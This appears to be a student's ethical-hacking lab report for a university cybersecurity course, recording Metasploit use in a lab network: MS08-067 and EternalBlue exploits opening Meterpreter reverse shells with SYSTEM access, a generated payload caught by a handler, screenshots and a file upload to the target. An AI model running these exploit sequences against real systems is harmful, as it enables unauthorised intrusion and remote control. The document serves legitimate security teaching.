

Old Dominion University
CYSE 301 Cyber Techniques & Operations
Assignment #4 Ethical Hacking

Wayne Ricks, Jr
01228362

```
root@CS2APenTest:~# nmap 192.168.10.14
Starting Nmap 7.70 ( https://nmap.org ) at 2024-04-08 17:49 EDT
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 0.52 seconds
```

STEP 1

In this step, I used the nmap command in order to scan the target system to see what ports were available.

STEP 2

```
Starting Nmap 7.70 ( https://nmap.org ) at 2024-04-08 17:49 EDT
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 0.52 seconds
```

In this step, I was unable to identify a port that was available but I continued on with the assignment.

STEP 3

```

msf5 > use ms08_067_netapi

Matching Modules
=====

  #  Name                                     Disclosure Date  Rank   Check  Descri
  --  ---                                     -
  0  exploit/windows/smb/ms08_067_netapi  2008-10-28      great  Yes    MS08-0
57 Microsoft Server Service Relative Path Stack Corruption

[*] Using exploit/windows/smb/ms08_067_netapi

```

In this step, I launched the Metasploit Framework and found the exploit module ms08_067_netapi.

STEP 4

```

msf5 exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.10.14
LHOST => 192.168.10.14
msf5 exploit(windows/smb/ms08_067_netapi) > set LPORT 4428
LPORT => 4428

```

In this step, I set my LPORT and LHOST to the correct destinations.

STEP 5

```

msf5 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    192.168.10.14   yes       The target address range or CIDR identifier
  RPORT     445              yes       The SMB service port (TCP)
  SMBPIPE   BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.10.14   yes       The listen address (an interface may be specified)
  LPORT     4428            yes       The listen port

```

In this step, I verified that all of my information was in the correct location before starting the exploit.

STEP 6-7

```
msf5 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.10.13:4428
[*] 192.168.10.14:445 - Automatically detecting the target...
[*] 192.168.10.14:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Unknown
[*] 192.168.10.14:445 - We could not detect the language pack, defaulting to English
[*] 192.168.10.14:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.10.14:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 192.168.10.14
[*] Meterpreter session 1 opened (192.168.10.13:4428 -> 192.168.10.14:1038) at 2024-04-09 19:10:25 -0400

meterpreter > 
```

```
Enter the new date: (mm-dd-yy) 04-09-24
04-09-24
C:\WINDOWS\system32>time
time
The current time is: 19:19:52.67
```

In this step, I was able to establish a connection with the exploit module and was able to obtain information such as the current date and time.

STEP 8-10

```
meterpreter > getsid
Server SID: S-1-5-18
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer      : ORG-JLF9I0GWXFM
OS            : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Domain        : WORKGROUP
Logged On Users : 2
Meterpreter   : x86/windows
meterpreter > 
```

In this screenshot, I was able to obtain the SID information and the system information about the target machine.

TASK B

STEP 1

```
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS     192.168.10.11   yes       The target address range or CIDR identifier
  RPORT      445              yes       The target port (TCP)
  SMBDomain  .                no        (Optional) The Windows domain to use for authentication
  SMBPass    .                no        (Optional) The password for the specified username
  SMBUser    .                no        (Optional) The username to authenticate as
  VERIFY_ARCH true             yes       Check if remote architecture matches exploit Target.
  VERIFY_TARGET true             yes       Check if remote OS matches exploit Target.

Payload options (windows/x64/meterpreter/reverse_tcp):
```

```

Payload options (windows/x64/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.10.13   yes       The listen address (an interface may be specified)
  LPORT     4428             yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Windows 7 and Server 2008 R2 (x64) All Service Packs

msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.10.13:4428
[+] 192.168.10.11:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7600 x64 (64-bit)
[*] 192.168.10.11:445 - Connecting to target for exploitation.
```

```

[*] 192.168.10.11:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.10.11:445 - Sending all but last fragment of exploit packet
[*] 192.168.10.11:445 - Starting non-paged pool grooming
[+] 192.168.10.11:445 - Sending SMBv2 buffers
[+] 192.168.10.11:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.10.11:445 - Sending final SMBv2 buffers.
[*] 192.168.10.11:445 - Sending last fragment of exploit packet!
[*] 192.168.10.11:445 - Receiving response from exploit packet
[+] 192.168.10.11:445 - ETERNALBLUE overwrite completed successfully (0xC0000000)
[*] 192.168.10.11:445 - Sending egg to corrupted connection.
[*] 192.168.10.11:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 192.168.10.11
[*] Meterpreter session 1 opened (192.168.10.13:4428 -> 192.168.10.11:49157) at 2024-04-09 19:54:44 -0400
[+] 192.168.10.11:445 - ==-==
[+] 192.168.10.11:445 - ==-==--WIN-==-==
[+] 192.168.10.11:445 - ==-==
meterpreter >

```

In this step, I searched for the EternalBlue exploit module. Once I found the module, I plugged my desired IP address and LPORT, as well as set my payload as a reverse tcp connection.

Once I verified that my information was in the correct spot, I executed the exploit onto the target machine.

STEP 2-5

```

meterpreter > localtime
Local Date/Time: 2024-04-09 19:57:35.652 Eastern Daylight Time (UTC-500)
meterpreter > getsid
Server SID: S-1-5-18
meterpreter > sysinfo
Computer      : W2008R2
OS            : Windows 2008 R2 (Build 7600).
Architecture : x64
System Language : en_US
Domain       : WORKGROUP
Logged On Users : 0
Meterpreter   : x64/windows
meterpreter > getpid
Current pid: 1108
meterpreter >

```

In these steps, I was able to locate the information I needed to find such as the SID, the date and time, current processor, and the system information.

TASK C

STEP 1

```
root@CS2APenTest:~# ls
core      Desktop  Downloads  Pictures  Templates  VMshare
CYSE301   Documents Music      Public    Videos     wrick001.exe
```

In this step, I created the deliverable payload and name it as my MIDAS ID.exe.

STEP 2

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set LHOST 192.168.10.13
LHOST => 192.168.10.13
msf5 exploit(multi/handler) > set LPORT 4428
LPORT => 4428
msf5 exploit(multi/handler) > set payload wrick001.exe
[-] The value specified for payload is not valid.
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options
```

In this step, I input the information in order to establish a reverse tcp connection to the target machine. The LPORT used in this step is 4428.

STEP 3

```
Priv: Timestamp Commands
=====
Command      Description
-----
timestamp    Manipulate file MACE attributes

meterpreter > screenshot
```

In this step, I was able to establish a connection and entered the screenshot command in order to take a screenshot of the target machine.

```
meterpreter > upload IMADeIT-wrick001.txt c:\\windows\\system32
[*] uploading : IMADeIT-wrick001.txt -> c:\\windows\\system32
[*] uploaded  : IMADeIT-wrick001.txt -> c:\\windows\\system32\\IMADeIT-wrick001.tx
```

In this step, I uploaded my text file that contained a timestamp, into the target machine system using the upload command.